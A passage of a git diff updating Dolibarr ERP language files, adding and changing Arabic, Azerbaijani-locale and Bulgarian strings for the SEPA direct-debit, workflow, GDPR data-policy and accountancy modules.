by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=ملف أمر الخصم CreditTransferFile=ملف تحويل رصيد SetToStatusSent=تعيين إلى الحالة "ملف مرسل" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=تعذر إنشاء طلب الخصم المباش SepaMandate=تفويض الخصم المباشر لمنطقة الدفعات الأوروبية الموحدة (SEPA) SepaMandateShort=تفويض SEPA PleaseReturnMandate=يرجى إعادة نموذج التفويض هذا بالبريد الإلكتروني إلى %s أو بالبريد إلى -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=معرف الدائن CreditorName=اسم الدائن SEPAFillForm=(ب) الرجاء استكمال جميع الحقول المعلمة * @@ -135,7 +140,8 @@ SEPARCUR=SEPA CUR SEPAFRST=SEPA FRST ExecutionDate=تاريخ التنفيذ CreateForSepa=إنشاء ملف الخصم المباشر -ICS=Creditor Identifier - ICS +ICS=معرف الدائن - ICS +IDS=معرف المدين END_TO_END=علامة "EndToEndId" SEPA XML - معرف فريد يتم تعيينه لكل معاملة USTRD="Unstructured" SEPA XML tag ADDDAYS=أضف أيام إلى تاريخ التنفيذ @@ -152,5 +158,6 @@ ModeWarning=لم يتم تعيين خيار الوضع الحقيقي ، نتو ErrorCompanyHasDuplicateDefaultBAN=تمتلك الشركة ذات المعرف %s أكثر من حساب مصرفي افتراضي. لا توجد طريقة لمعرفة أي واحد يستخدم. ErrorICSmissing=ICS مفقود في الحساب المصرفي %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=يختلف المبلغ الإجمالي لأمر الخصم المباشر عن مجموع البنود -WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s -WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +WarningSomeDirectDebitOrdersAlreadyExists=تحذير: هناك بالفعل بعض أوامر الخصم المباشر المعلقة (%s) المطلوبة لمبلغ %s +WarningSomeCreditTransferAlreadyExists=تحذير: هناك بالفعل بعض عمليات تحويل الرصيد المعلقة (%s) المطلوبة لمبلغ %s +UsedFor=تستخدم ل %s diff --git a/htdocs/langs/ar_SA/workflow.lang b/htdocs/langs/ar_SA/workflow.lang index b20685899d3..a0a44bde14b 100644 --- a/htdocs/langs/ar_SA/workflow.lang +++ b/htdocs/langs/ar_SA/workflow.lang @@ -3,24 +3,34 @@ WorkflowSetup=إعداد وحدة تدفق العمل WorkflowDesc=هذه الوحدة توفر بعض الاجراءات التلقائية . في البداية يكون تدفق العمل مفتوحاً (يمكنك ان تعمل بالترتيب الذي تريد) لكن هنا يمكنك تفعيل بعض الجراءات التلقائية ThereIsNoWorkflowToModify=لا توجد تعديلات على سير العمل متوفرة مع الوحدات النشطة. # Autocreate -descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Automatically create a sales order after a commercial proposal is signed (the new order will have same amount as the proposal) -descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Automatically create a customer invoice after a commercial proposal is signed (the new invoice will have same amount as the proposal) +descWORKFLOW_PROPAL_AUTOCREATE_ORDER=إنشاء أمر مبيعات تلقائيًا بعد توقيع اقتراح تجاري (سيكون للأمر الجديد نفس مبلغ الاقتراح) +descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=إنشاء فاتورة العميل تلقائيًا بعد التوقيع على عرض تجاري (الفاتورة الجديدة سيكون لها نفس مبلغ الاقتراح) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=إنشاء فاتورة العميل تلقائيا بعد التحقق من صحة العقد -descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Automatically create a customer invoice after a sales order is closed (the new invoice will have same amount as the order) +descWORKFLOW_ORDER_AUTOCREATE_INVOICE=إنشاء فاتورة العميل تلقائيًا بعد إغلاق أمر المبيعات (الفاتورة الجديدة سيكون لها نفس مبلغ الأمر) +descWORKFLOW_TICKET_CREATE_INTERVENTION=عند إنشاء التذكرة ، قم بإنشاء تدخل تلقائيًا. # Autoclassify customer proposal or order -descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Classify linked source proposal as billed when sales order is set to billed (and if the amount of the order is the same as the total amount of the signed linked proposal) -descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Classify linked source proposal as billed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the signed linked proposal) -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Classify linked source sales order as billed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked order) -descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Classify linked source sales order as billed when customer invoice is set to paid (and if the amount of the invoice is the same as the total amount of the linked order) -descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Classify linked source sales order as shipped when a shipment is validated (and if the quantity shipped by all shipments is the same as in the order to update) -descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classify linked source sales order as shipped when a shipment is closed (and if the quantity shipped by all shipments is the same as in the order to update) +descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=تصنيف اقتراح المصدر المرتبط على أنه تمت فوترته عند تعيين أمر المبيعات على الفاتورة (وإذا كان مبلغ الأمر هو نفس المبلغ الإجمالي للعرض المرتبط الموقع) +descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=تصنيف مقترح المصدر المرتبط على أنه فاتورة عند التحقق من صحة فاتورة العميل (وإذا كان مبلغ الفاتورة هو نفس المبلغ الإجمالي للمقترح المرتبط الموقع) +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=تصنيف أمر مبيعات المصدر المرتبط على أنه تمت فوترته عند التحقق من صحة فاتورة العميل (وإذا كان مبلغ الفاتورة هو نفسه المبلغ الإجمالي للأمر المرتبط) +descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=تصنيف أمر مبيعات المصدر المرتبط على أنه فاتورة عند تعيين فاتورة العميل على مدفوعة (وإذا كان مبلغ الفاتورة هو نفسه المبلغ الإجمالي للأمر المرتبط) +descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=تصنيف أمر مبيعات المصدر المرتبط على أنه مشحون عند التحقق من صحة الشحنة (وإذا كانت الكمية المشحونة بواسطة جميع الشحنات هي نفسها الموجودة في أمر التحديث) +descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=تصنيف أمر مبيعات المصدر المرتبط على أنه مشحون عند إغلاق الشحنة (وإذا كانت الكمية المشحونة بواسطة جميع الشحنات هي نفسها الموجودة في أمر التحديث) +# Autoclassify purchase proposal +descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=تصنيف مقترح مورد المصدر المرتبط كما هو مفوتر عند التحقق من صحة فاتورة المورد (وإذا كان مبلغ الفاتورة هو نفسه المبلغ الإجمالي للعرض المرتبط) # Autoclassify purchase order -descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Classify linked source vendor proposal as billed when vendor invoice is validated (and if the amount of the invoice is the same as the total amount of the linked proposal) -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classify linked source purchase order as billed when vendor invoice is validated (and if the amount of the invoice is the same as the total amount of the linked order) -descWORKFLOW_BILL_ON_RECEPTION=Classify receptions to "billed" when a linked supplier order is validated +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=تصنيف أمر شراء المصدر المرتبط كما هو مفوتر عند التحقق من صحة فاتورة المورد (وإذا كان مبلغ الفاتورة هو نفسه المبلغ الإجمالي للأمر المرتبط) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=تصنيف أمر شراء المصدر المرتبط على أنه تم استلامه عند التحقق من صحة الاستلام (وإذا كانت الكمية المستلمة من قبل جميع الاستقبالات هي نفسها الموجودة في أمر الشراء للتحديث) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=تصنيف أمر شراء المصدر المرتبط كما تم استلامه عند إغلاق الاستلام (وإذا كانت الكمية المستلمة من قبل جميع الاستدعاءات هي نفسها الموجودة في أمر الشراء للتحديث) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=عند إنشاء تذكرة ، قم بربط العقود المتاحة لمطابقة الطرف الثالث +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=عند ربط العقود ، ابحث بين تلك الخاصة بالشركات الأم # Autoclose intervention -descWORKFLOW_TICKET_CLOSE_INTERVENTION=Close all interventions linked to the ticket when a ticket is closed +descWORKFLOW_TICKET_CLOSE_INTERVENTION=إغلاق جميع المداخلات المرتبطة بالتذكرة عند إغلاق التذكرة AutomaticCreation=إنشاء تلقائي AutomaticClassification=التصنيف التلقائي # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=إغلاق تلقائي +AutomaticLinking=ربط تلقائي diff --git a/htdocs/langs/ar_SY/datapolicy.lang b/htdocs/langs/ar_SY/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ar_SY/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/az_AZ/datapolicy.lang b/htdocs/langs/az_AZ/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/az_AZ/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/bg_BG/accountancy.lang b/htdocs/langs/bg_BG/accountancy.lang index aea81c1d3a5..7baa0711571 100644 --- a/htdocs/langs/bg_BG/accountancy.lang +++ b/htdocs/langs/bg_BG/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Изберете типа пренасяне на но ACCOUNTING_EXPORT_PREFIX_SPEC=Посочете префикса в името на файла ThisService=Тази услуга ThisProduct=Този продукт -DefaultForService=По подразбиране за услуга -DefaultForProduct=По подразбиране за продукт +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Не може да се предложи @@ -48,8 +48,9 @@ CountriesNotInEEC=Държави извън ЕИО CountriesInEECExceptMe=Държави в ЕИО, с изключение на %s CountriesExceptMe=Всички държави с изключение на %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Основна счетоводна сметк MainAccountForUsersNotDefined=Основна счетоводна сметка за потребители, която не е дефинирана в настройката MainAccountForVatPaymentNotDefined=Основна счетоводна сметка за плащане на ДДС, която не е дефинирана в настройката MainAccountForSubscriptionPaymentNotDefined=Основна счетоводна сметка за плащане на абонамент, която не е дефинирана в настройката +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Секция за счетоводство AccountancyAreaDescIntro=Използването на счетоводния модул се извършва на няколко стъпки: @@ -99,7 +101,8 @@ ShowAccountingAccount=Показване на счетоводна сметка ShowAccountingJournal=Показване на счетоводен журнал ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Предложена счетоводна сметка +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Сметки по подразбиране MenuBankAccounts=Банкови сметки MenuVatAccounts=Сметки за ДДС @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Главна счетоводна книга BookkeepingSubAccount=Subledger AccountBalance=Салдо по сметка +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Обект № CAHTF=Обща покупка от доставчик преди ДДС TotalExpenseReport=Общ разходен отчет @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Деактивиране на директно доб ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Активиране на експортиране на журнали в състояние на чернова ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Журнал за продажби -ACCOUNTING_PURCHASE_JOURNAL=Журнал за покупки -ACCOUNTING_MISCELLANEOUS_JOURNAL=Общ журнал +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Журнал за разходни отчети -ACCOUNTING_SOCIAL_JOURNAL=Журнал за данъци +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Има нов журнал +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Журнал за данъци ACCOUNTING_RESULT_PROFIT=Счетоводна сметка за резултат (печалба) ACCOUNTING_RESULT_LOSS=Счетоводна сметка за резултат (загуба) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Журнал за приключване -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Счетоводна сметка на преходен банков превод +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Преходна сметка за банков превод -ACCOUNTING_ACCOUNT_SUSPENSE=Счетоводна сметка за изчакване -DONATION_ACCOUNTINGACCOUNT=Счетоводна сметка за регистриране на дарения -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Счетоводен акаунт за регистриране на членски внос +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Счетоводна сметка по подразбиране за закупени продукти (използва се, ако не е определена в продуктовата карта) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Счетоводна сметка по подразбиране за закупени продукти в ЕИО (използва се, ако не е дефинирана в картата на продукта) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Счетоводна сметка по подразбиране за закупени продукти и внесени отвън ЕИО (използва се, ако не е дефинирана в картата на продукта) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Счетоводна сметка по подразбиране за продадени продукти (използва се, ако не е дефинирана в продуктовата карта) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Счетоводна сметка по подразбиране за продадени продукти в ЕИО (използва се, ако не е определена в продуктовата карта) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Счетоводна сметка по подразбиране за продадени и експортирани продукти извън ЕИО (използва се, ако не е определена в продуктовата карта) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Счетоводна сметка по подразбиране за закупени услуги (използва се, ако не е дефинирана в картата на услугата) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Счетоводна сметка по подразбиране за закупени услуги в ЕИО (използва се, ако не е дефинирана в картата на услугата) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Счетоводна сметка по подразбиране за закупени услуги и внесени отвън ЕИО (използва се, ако не е дефинирана в картата на услугата) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Счетоводна сметка по подразбиране за продадени услуги (използва се, ако не е дефинирана в картата на услугата) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Счетоводна сметка по подразбиране за продадени услуги в ЕИО (използва се, ако не е определена в картата на услугата) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Счетоводна сметка по подразбиране за продадени и експортирани услуги извън ЕИО (използва се, ако не е определена в картата на услугата) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Вид документ Docdate=Дата @@ -211,7 +220,8 @@ Codejournal=Журнал JournalLabel=Име на журнал NumPiece=Пореден номер TransactionNumShort=Транзакция № -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=Тук може да определите някои групи счетоводни сметки. Те ще бъдат използвани за персонализирани счетоводни отчети. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Група от сметки PcgtypeDesc=Групата от сметки се използва като предварително зададен критерий за филтриране и групиране за някои счетоводни отчети. Например 'Приход' или 'Разход' се използват като групи за счетоводни сметки на продукти за съставяне на отчет за разходи / приходи. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Съвместим TotalVente=Общ оборот преди ДДС TotalMarge=Общ марж на продажби -DescVentilCustomer=Преглед на списъка с редове на фактури за продажба, свързани (или не) със счетоводна сметка на продукт -DescVentilMore=В повечето случаи, ако използвате предварително дефинирани продукти или услуги и зададете номер на сметка в картата на продукта / услугата, то системата ще може да извърши всички свързвания между вашите редове на фактури и счетоводната сметка във вашия сметкоплан, просто с едно щракване с бутона "%s". Ако сметката не е зададена в картата на продукта / услугата или ако все още имате някои редове, които не са свързани към сметка, то ще трябва да направите ръчно свързване от менюто "%s". -DescVentilDoneCustomer=Преглед на списъка с редове на фактури за продажба и тяхната счетоводна сметка за продукти -DescVentilTodoCustomer=Свързване на редове на фактури, които все още не са свързани със счетоводна сметка за продукт -ChangeAccount=Променете счетоводната сметка на продукта / услугата за избрани редове със следната счетоводна сметка: 